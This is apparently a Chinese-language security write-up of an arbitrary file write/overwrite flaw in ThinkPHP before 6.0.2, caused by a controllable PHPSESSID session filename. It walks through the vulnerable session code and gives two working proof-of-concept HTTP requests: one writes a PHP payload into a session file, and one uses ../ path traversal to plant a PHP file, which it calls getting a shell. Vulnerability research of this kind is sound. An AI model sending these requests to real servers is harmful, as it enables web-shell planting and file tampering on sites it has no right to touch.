ThinkPHP<6.0.2任意文件内容写入/覆盖

漏洞原理

利用thinkphp 6.0.2 session生成中,sess_后字段可控构造PHP文件。且文件内容可控造成getshell或文件覆盖

该漏洞并非可以通过越权执行,需要一定的身份认证.

漏洞分析

调用cookie方法获取以”PHPSESSID”为键的值,可控。

image-20200125213345332

最后存入id字段中,这里会判断长度是否为32

image-20200125213503023

接着开始执行session方法

image-20200126023713851

$this->data(文件内容),在session函数执行过程中,所以可以一定证明并非无条件.

可以给我们提供一定的挖掘思路,可以定位session:set函数

image-20200126023729887

文件:src/think/session/Store.php

先调用getId方法,获取id字段。

image-20200125214449203

跟进write方法,最后会调用writeFile方法

image-20200125214747878

跟进writeFile方法,可以看到执行了文件写入操作.

文件名:/Applications/MAMP/htdocs/tp60/runtime/session/sess_1234567890123456789012345673.php 可控.还有个危害就是覆盖已知文件,伪造session或过滤文件等.

image-20200125214848576

复现

GET /tp60/public/index.php/index/session2?name=<%3fphp+phpinfo()%3b%3f> HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: XDEBUG_SESSION=PHPSTORM; PHPSESSID=1234567890123456789012345673.php
Upgrade-Insecure-Requests: 1

image-20200125215214613

路径穿越写shell

GET /tp60/public/index.php/index/session2?name=<%3fphp+phpinfo()%3b%3f> HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: XDEBUG_SESSION=PHPSTORM; PHPSESSID=../../../kkkkkkkkkkkkkkkkkkk.php
Upgrade-Insecure-Requests: 1

因为这里sess_..*目录不存在需要多一个../*进行目录穿越

image-20200125221633011

image-20200125221840371

参考链接

ThinkPHP6.0.x任意文件创建、覆盖